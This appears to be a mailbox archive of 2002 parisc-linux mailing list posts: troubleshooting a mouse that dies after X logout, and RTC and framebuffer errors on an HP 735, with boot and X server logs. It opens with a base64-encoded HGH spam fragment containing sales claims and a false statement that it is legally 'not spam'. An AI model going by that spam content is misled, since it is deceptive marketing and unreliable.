Pg0KDQpVU0EgRGl2aXNpb248YnI+DQoNCiZuYnNwOzxicj4NCg0KUFM6Jm5i
c3A7IFRoZSBIR0ggU3RhZmYgZ3VhcmFudGVlcyB0aGU8YnI+DQoNCmhpZ2hl
c3QgcXVhbGl0eSBhbmQgbG93ZXN0IHByaWNlLjxicj4NCg0KJm5ic3A7PGJy
Pg0KDQombmJzcDtXZSBtYW51ZmFjdHVyZSBhbmQgc2hpcCBkaXJlY3RseSB0
byB5b3VyIGRvb3IuPGJyPg0KDQombmJzcDs8YnI+DQoNCkNhbGwgdXMgbm93
IDxiPjxmb250IGNvbG9yPSIjMDAwMDgwIj4xLTg4OC02MjEtNzMwMDwvZm9u
dD48L2I+PGJyPg0KDQombmJzcDs8YnI+DQoNCj09PT09PT0mbmJzcDsmbmJz
cDsgRW5kIG9mIG1lc3NhZ2UgPT09PT09PT0mbmJzcDs8YnI+DQoNCiZuYnNw
Ozxicj4NCg0KJm5ic3A7Jm5ic3A7IFRoZSBmb2xsb3dpbmcgc3RhdGVtZW50
IGlzIHByb3ZpZGVkIHRvIGJlPGJyPg0KDQppbiBjb21wbGlhbmNlIHdpdGgg
Y29tbWVyY2lhbCBlbWFpbCBsYXdzLjxicj4NCg0KJm5ic3A7PGJyPg0KDQom
bmJzcDsmbmJzcDsgSWYgeW91IGRvIG5vdCB3aXNoIHRvIHJlY2VpdmUgZnVy
dGhlcjxicj4NCg0KbWFpbGluZ3MsIHBsZWFzZSBnb3RvIHRoZSBmb2xsb3dp
bmcgd2Vic2l0ZSBhbmQgZW50ZXIgeW91ciBlbWFpbCBhZGRyZXNzIHRvIGJl
IHJlbW92ZWQuLi4gaHR0cDovL2NicGhvc3QubmV0L3VzZXJzL21hcmtldHBy
b3MvcmVtb3ZlLnBocA0KPGJyPg0KDQombmJzcDs8YnI+DQoNCiZuYnNwOyZu
YnNwOyBUaGlzIG1lc3NhZ2UgaXMgaW4gZnVsbCBjb21wbGlhbmNlIHdpdGg8
YnI+DQoNClUuUy4gRmVkZXJhbCByZXF1aXJlbWVudHMgZm9yIGNvbW1lcmNp
YWw8YnI+DQoNCmVtYWlsIHVuZGVyIGJpbGwgUy4xNjE4IFRpdGxlIGxsbCwg
U2VjdGlvbiAzMDEsPGJyPg0KDQpQYXJhZ3JhcGggKGEpKDIpKEMpIHBhc3Nl
ZCBieSB0aGUgMTA1dGggVS5TLjxicj4NCg0KQ29uZ3Jlc3MgYW5kIGlzIG5v
dCBjb25zaWRlcmVkIFNQQU08YnI+DQoNCnNpbmNlIGl0IGluY2x1ZGVzIGEg
cmVtb3ZlIG1lY2hhbmlzbS4qPGJyPg0KDQpUaGlzIG1lc3NhZ2UgaXMgbm90
IGludGVuZGVkIGZvciByZXNpZGVudHMgaW4gdGhlPGJyPg0KDQpzdGF0ZXMg
b2YgQ0EsIE5DLCBOViwgUkksIFROLCBWQSAmYW1wOyBXQS48YnI+DQoNClNj
cmVlbmluZyBvZiBhZGRyZXNzZXMgaGFzIGJlZW4gZG9uZSB0byB0aGUgYmVz
dDxicj4NCg0Kb2Ygb3VyIHRlY2huaWNhbCBhYmlsaXR5Ljxicj4NCg0KJm5i
c3A7PGJyPg0KDQombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgQ2FsbCB1
cw0KDQpub3cgPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiPjEtODg4LTYyMS03
MzAwPC9mb250PjwvYj4gZm9yIHlvdXI8YnI+DQoNCiZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyBmcmVlDQoNCkhHSCBjb25zdWx0YXRpb24uPC9wPg0K
DQo8cD48YnI+DQoNClRoYW5rIHlvdTwvcD4NCg0KPC9ib2R5Pg0KDQo8L2h0
bWw+DQoNCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiAN
CiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiAN
CiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiANCiAN
CiANCiANCg0KLS0NCg0KNTUzM3ZlSUg3LTA4N0VlZkYxNTExdVZXQjctOTYz
amRDRjQ5NTRGdVlEMC0ybDQy


From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Sun, 22 Sep 2002 14:02:53 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <3D8DCD8D.8070300@freebel.net>
References: <20020921220317.3256.qmail@web12502.mail.yahoo.com> <3D8D0454.40706@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621750 14344 80.91.229.3 (22 Nov 2014 02:02:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:30 +0000 (UTC)
Cc: Derek Engelhaupt <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
To: "Bryan W. Headley" <bwheadley@earthlink.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 06:58:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27054482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 06:58:06 -0600 (MDT)
Original-Received: from freebel.net (62.235.70.2) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D75FE9C00055DCC; Sun, 22 Sep 2002 14:50:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16233


Bryan W. Headley wrote:
> Derek Engelhaupt wrote:
> 
>> Hey all,
>>
>> Currently when my system boots up the X11 login window starts up
>> automatically and I can log in and use it normally, but when I log out
>> the mouse quits working.  The X11 login window appears again, but the
>> mouse won't move anymore.  I'm just using a standard PS/2 HP 3 button
>> mouse - nothing fancy on my C180.  Also, why is it that Konqueror won't
>> do https sites?  And if it will what could possibly be the problem with
>> that?  Thanks.
> 
> 
> I assume you are running the gpm mouse daemon as well. If you tell X to 
> use the gpm mouse (/dev/gpmdata), you should be okay.

Hmm, long time ago I test this (because that was like this I configure 
my i386 boxe) but it did not work. Does it work now on parisc?

> Personally, I just 
> turn off the gpm daemon, because I don't need a mouse in console mode.
> 
> (It's not a parisc-only bug: I see this on virtually every Debian platform)
> 
with kde ?

Because with the same software config (gdm + xfce + xfree86-4.1) the 
same problem occurs on my parisc (b180) and not on my i386 (on which I 
also use /dev/psaux as mouse device)?

(sorry (I would be of better help) I never have time to investigate in 
more details this problem. And I do not remember exactly if it was 
always there or if it appears with a new release of xfree86 or with a 
new kernel release? Is some one can refresh my memory?)

Joel



From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Do you know the three HGH products?
Date: Sun, 22 Sep 2002 15:46:32 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <000301c2623e$776cf940$0100a8c0@PLUTO>
References: <032b15b88d6e$8266e7a2$6ab21da5@akydbe>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621751 14350 80.91.229.3 (22 Nov 2014 02:02:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 07:46:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A0F2483F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 07:46:07 -0600 (MDT)
Original-Received: from [195.20.224.199] (helo=mrvdomng4.kundenserver.de)
	by moutvdom.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17t73i-0001qX-00
	for parisc-linux@lists.parisc-linux.org; Sun, 22 Sep 2002 15:46:02 +0200
Original-Received: from [217.81.14.1] (helo=PLUTO)
	by mrvdomng4.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17t73h-0001EB-00
	for parisc-linux@lists.parisc-linux.org; Sun, 22 Sep 2002 15:46:01 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <032b15b88d6e$8266e7a2$6ab21da5@akydbe>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16234

Hi all,

funny spam that was, wasn't it ...
especially this part:

> This message is not intended for 
> residents in the states of CA, NC, 
> NV, RI, TN, VA & WA.

I wonder why? Is their product illegal
in those states?

BTW is there anything true about the 
HGH or is it all lies ...

Cheers,
Tobias



From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Sun, 22 Sep 2002 16:25:50 +0000
Lines: 64
Approved: news@gmane.org
Message-ID: <3D8DEF0E.3070601@freebel.net>
References: <20020921220317.3256.qmail@web12502.mail.yahoo.com> <3D8D0454.40706@earthlink.net> <3D8DCD8D.8070300@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621751 14353 80.91.229.3 (22 Nov 2014 02:02:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:31 +0000 (UTC)
Cc: "Bryan W. Headley" <bwheadley@earthlink.net>,
	Derek Engelhaupt <derekengelhaupt@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 09:21:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC369483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 09:21:00 -0600 (MDT)
Original-Received: from freebel.net (62.235.70.2) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D38160600C6FD3C; Sun, 22 Sep 2002 17:20:54 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16235

Oops so old: 
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-October/014145.html 


Well IIRC, at this time I encounter a problem with Xfree86 config (a 
change in stifb (kernel 2.4.9-pa57) required that the screen mode match 
exactly the hw definition) but it was also the first time that I test 
xdm (previously I only used startx).

Joel

Joel Soete wrote:
> 
> 
> Bryan W. Headley wrote:
> 
>> Derek Engelhaupt wrote:
>>
>>> Hey all,
>>>
>>> Currently when my system boots up the X11 login window starts up
>>> automatically and I can log in and use it normally, but when I log out
>>> the mouse quits working.  The X11 login window appears again, but the
>>> mouse won't move anymore.  I'm just using a standard PS/2 HP 3 button
>>> mouse - nothing fancy on my C180.  Also, why is it that Konqueror won't
>>> do https sites?  And if it will what could possibly be the problem with
>>> that?  Thanks.
>>
>>
>>
>> I assume you are running the gpm mouse daemon as well. If you tell X 
>> to use the gpm mouse (/dev/gpmdata), you should be okay.
> 
> 
> Hmm, long time ago I test this (because that was like this I configure 
> my i386 boxe) but it did not work. Does it work now on parisc?
> 
>> Personally, I just turn off the gpm daemon, because I don't need a 
>> mouse in console mode.
>>
>> (It's not a parisc-only bug: I see this on virtually every Debian 
>> platform)
>>
> with kde ?
> 
> Because with the same software config (gdm + xfce + xfree86-4.1) the 
> same problem occurs on my parisc (b180) and not on my i386 (on which I 
> also use /dev/psaux as mouse device)?
> 
> (sorry (I would be of better help) I never have time to investigate in 
> more details this problem. And I do not remember exactly if it was 
> always there or if it appears with a new release of xfree86 or with a 
> new kernel release? Is some one can refresh my memory?)
> 
> Joel
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RTC and FB on 735/125
Date: Sun, 22 Sep 2002 20:30:34 +0200
Lines: 329
Approved: news@gmane.org
Message-ID: <03ab01c26266$2416dea0$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_03A8_01C26276.E71F5B10"
X-Trace: ger.gmane.org 1416621751 14354 80.91.229.3 (22 Nov 2014 02:02:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 12:30:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92D8C4841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 12:30:11 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g8MIU8h7010617
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 20:30:08 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g8MIU7kc025556
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 20:30:08 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16236

This is a multi-part message in MIME format.

------=_NextPart_000_03A8_01C26276.E71F5B10
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Hi,

i have a 'new' 735/125 workstation, which I run Debian 3.0 on.
hp735# uname -a
Linux hp735 2.4.19-32 #1 Tue Aug 20 03:25:39 MDT 2002 parisc unknown unknown
GNU/Linux

1st problem I have is the Real Time Clock. On boot I get the following
messages:

System Time was Thu Jan 1 00:00:10 UTC 1970
Setting the System Clock using the Hardware Clock as reference...
RTC_RD_TIME: Bad address
ioctl() to /dev/rtc read the time failed.
System Clock set. System local time is now Thu Jan 1 00:00:13 UTC 1970.

so i'm damned back to the 70' every boot time...

2nd problem is I can't start X. I'm using Helge Deller's XFConfig-4 from
ftp.p-l.org and just changed Depth from 8 to 24 bpp.

(EE) FBDev(0): FBIOPUT_VSCREENINFO: Invalid argument

Fatal server error:
AddScreen/ScreenInit failed for driver 0

Is the Coral SGC Graphics supported?
I've attached dmesg and XFree86.0.log .

Thanks for your help
Yves...

------=_NextPart_000_03A8_01C26276.E71F5B10
Content-Type: application/octet-stream;
	name="dmesg"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="dmesg"

Linux version 2.4.19-32 (root@j5k) (gcc version 3.0.4) #1 Tue Aug 20 =
03:25:39 MDT 2002=0A=
FP[0] enabled: Rev 1 Model 9=0A=
The 32-bit Kernel has started...=0A=
Determining PDC firmware type: Snake.=0A=
model 00002060 00000481 00000000 00000000 773bea94 ffffffff 00000004 =
0000000a 0000000a=0A=
vers  00000015=0A=
model 9000/735=0A=
Total Memory: 256 Mb=0A=
pagetable_init=0A=
On node 0 totalpages: 65536=0A=
zone(0): 65536 pages.=0A=
zone(1): 0 pages.=0A=
zone(2): 0 pages.=0A=
Kernel command line: root=3D/dev/sda3 HOME=3D/ console=3Dtty0 sti=3D1 =
sti_font=3DVGA8x16 TERM=3Dlinux palo_kernel=3D3/boot/vmlinux=0A=
Error reading tod clock=0A=
Console: colour dummy device 160x64=0A=
Calibrating delay loop... 124.51 BogoMIPS=0A=
Memory: 255920k available=0A=
Dentry cache hash table entries: 32768 (order: 6, 262144 bytes)=0A=
Inode cache hash table entries: 16384 (order: 5, 131072 bytes)=0A=
Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)=0A=
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)=0A=
Page-cache hash table entries: 65536 (order: 6, 262144 bytes)=0A=
Searching for devices...=0A=
Found devices:=0A=
1. Coral SGC Graphics (10) at 0xf8000000 [1], versions 0x4, 0x0, 0x77=0A=
2. Outfield Core BA (11) at 0xf082f000 [2], versions 0x9, 0x0, 0x70=0A=
3. Outfield Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x9, 0x0, 0x71=0A=
4. Outfield Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 0x9, =
0x0, 0x72=0A=
5. Outfield Core HIL (10) at 0xf0821000 [2/0/3], versions 0x9, 0x0, 0x73=0A=
6. Outfield Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x9, 0x0, =
0x75=0A=
7. Outfield Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x9, 0x0, =
0x75=0A=
8. Outfield Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x9, =
0x0, 0x74=0A=
9. Outfield FW SCSI (10) at 0xf0830000 [2/0/7], versions 0x9, 0x0, 0x7c=0A=
10. Outfield Audio (10) at 0xf1000000 [2/0/8], versions 0x9, 0x0, 0x7f=0A=
11. Snake Cheetah (735/130) (0) at 0xfffbe000 [8], versions 0x206, 0x0, =
0x4=0A=
12. Memory (1) at 0xfffbf000 [9], versions 0x37, 0x0, 0x9=0A=
CPU(s): 1 x PA7100 (PCX-T) at 125.000000 MHz=0A=
Cutoff version 4 at 0xf082f000 found.=0A=
LED (ASP-style) display at f0800020 registered=0A=
POSIX conformance testing by UNIFIX=0A=
Linux NET4.0 for Linux 2.4=0A=
Based upon Swansea University Computer Society NET3.039=0A=
Initializing RT netlink socket=0A=
Soft power switch support not available.=0A=
Starting kswapd=0A=
Journalled Block Device driver loaded=0A=
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).=0A=
parport_init_chip: enhanced parport-modes not supported.=0A=
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]=0A=
STI GSC/PCI graphics driver version 0.9=0A=
STI byte mode ROM at f8000000, hpa at f8000000=0A=
STI id 26d148ee-40a00499, conforms to spec rev. 8.02=0A=
STI device: HPA1439A=0A=
Console: switching to colour frame buffer device 160x64=0A=
fb0: stifb 1280x1024-32 frame buffer device, id: 26d148ee, mmio: =
0xf8100000=0A=
pty: 256 Unix98 ptys configured=0A=
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ =
SERIAL_PCI enabled=0A=
ttyS00 at iomem 0xf0823800 (irq =3D 90) is a 16550A=0A=
ttyS01 at iomem 0xf0822800 (irq =3D 89) is a 16550A=0A=
lp0: using parport0 (interrupt-driven).=0A=
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)=0A=
Uniform Multi-Platform E-IDE driver Revision: 6.31=0A=
ide: Assuming 50MHz system bus speed for PIO modes; override with =
idebus=3Dxx=0A=
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize=0A=
loop: loaded (max 8 devices)=0A=
Found i82596 at 0xf0826000, IRQ 87=0A=
82596.c: MAC of HP700 LAN read from EEPROM=0A=
eth0: Couldn't get consistent shared memory=0A=
eth0: 82596 at 0xf0826000, 08 00 09 49 65 60 IRQ 87.=0A=
82596.c $Revision: 1.29 $=0A=
SCSI subsystem driver Revision: 1.00=0A=
53c700: consistent memory allocation failed=0A=
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com=0A=
scsi0: 53c700 rev 0 =0A=
scsi0 : LASI SCSI 53c700=0A=
  Vendor: MICROP    Model: 4110-09TBCU0322J  Rev: HT01=0A=
  Type:   Direct-Access                      ANSI SCSI revision: 02=0A=
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0=0A=
SCSI device sda: 2053880 512-byte hdwr sectors (1052 MB)=0A=
Partition check:=0A=
 sda: sda1 sda2 sda3=0A=
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 0 at 0xf1000000, IRQ 82=0A=
mice: PS/2 mouse device common for all mice=0A=
HP SDC: HP SDC at 0xf0821000, IRQ 94 (NMI IRQ 93)=0A=
HP SDC: New style SDC=0A=
HP SDC: Revision: 1820-4784=0A=
HP SDC: TI SN76494 beeper present=0A=
HP SDC: OKI MSM-58321 BBRTC present=0A=
HP SDC: Spunking the self test register to force PUP on next firmware =
reset.=0A=
HP SDC MLC: Registering the System Domain Controller's HIL MLC.=0A=
md: linear personality registered as nr 1=0A=
md: raid0 personality registered as nr 2=0A=
md: raid1 personality registered as nr 3=0A=
md: raid5 personality registered as nr 4=0A=
raid5: measuring checksumming speed=0A=
   8regs     :    92.400 MB/sec=0A=
   8regs_prefetch:    92.400 MB/sec=0A=
   32regs    :    90.800 MB/sec=0A=
   32regs_prefetch:    90.800 MB/sec=0A=
raid5: using function: 8regs_prefetch (92.400 MB/sec)=0A=
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27=0A=
md: Autodetecting RAID arrays.=0A=
md: autorun ...=0A=
md: ... autorun DONE.=0A=
NET4: Linux TCP/IP 1.0 for NET4.0=0A=
IP Protocols: ICMP, UDP, TCP, IGMP=0A=
IP: routing cache hash table of 2048 buckets, 16Kbytes=0A=
TCP: Hash tables configured (established 16384 bind 32768)=0A=
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.=0A=
VFS: Mounted root (ext2 filesystem) readonly.=0A=
Freeing unused kernel memory: 264k freed=0A=
kernel BUG at slab.c:1130!=0A=
HIL KEYB: HIL keyboard found (did =3D 0xcf, lang =3D german)=0A=
input0: HIL keyboard on hil0=0A=
HIL PTR: HIL pointer device found (did: 0x68, axis: relative)=0A=
HIL PTR: HIL pointer has 3 buttons and 1 sets of 2 axes=0A=
input1: HIL mouse on hil0=0A=
Adding Swap: 249848k swap-space (priority -1)=0A=
eth0: link ok.=0A=

------=_NextPart_000_03A8_01C26276.E71F5B10
Content-Type: application/octet-stream;
	name="XFree86.0.log"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="XFree86.0.log"

=0A=
This is a pre-release version of XFree86, and is not supported in any=0A=
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted=0A=
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,=0A=
please check the latest version in the XFree86 CVS repository=0A=
(http://www.XFree86.Org/cvs)=0A=
=0A=
XFree86 Version 4.1.0.1 / X Window System=0A=
(protocol Version 11, revision 0, vendor release 6510)=0A=
Release Date: 21 December 2001=0A=
	If the server is older than 6-12 months, or if your card is=0A=
	newer than the above date, look for a newer version before=0A=
	reporting problems.  (See http://www.XFree86.Org/FAQ)=0A=
Build Operating System: Linux 2.4.16-64 parisc64 [ELF] =0A=
(=3D=3D) Log file: "/var/log/XFree86.0.log", Time: Thu Jan  1 01:44:53 =
1970=0A=
(=3D=3D) Using config file: "/etc/X11/XF86Config-4"=0A=
Markers: (--) probed, (**) from config file, (=3D=3D) default setting,=0A=
         (++) from command line, (!!) notice, (II) informational,=0A=
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.=0A=
(=3D=3D) ServerLayout "Default Layout"=0A=
(**) |-->Screen "Default Screen" (0)=0A=
(**) |   |-->Monitor "Generic Monitor"=0A=
(**) |   |-->Device "Generic Video Card"=0A=
(**) |-->Input Device "Keyboard"=0A=
(=3D=3D) Keyboard: CustomKeycode disabled=0A=
(**) |-->Input Device "Mouse"=0A=
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.=0A=
	Entry deleted from font path.=0A=
(WW) The directory "/usr/lib/X11/fonts/100dpi/" does not exist.=0A=
	Entry deleted from font path.=0A=
(WW) The directory "/usr/lib/X11/fonts/75dpi/" does not exist.=0A=
	Entry deleted from font path.=0A=
(WW) The directory "/usr/lib/X11/fonts/Type1" does not exist.=0A=
	Entry deleted from font path.=0A=
(WW) The directory "/usr/lib/X11/fonts/Speedo" does not exist.=0A=
	Entry deleted from font path.=0A=
(WW) The directory "/usr/lib/X11/fonts/100dpi" does not exist.=0A=
	Entry deleted from font path.=0A=
(WW) The directory "/usr/lib/X11/fonts/75dpi" does not exist.=0A=
	Entry deleted from font path.=0A=
(**) FontPath set to "unix/:7100,/usr/lib/X11/fonts/misc"=0A=
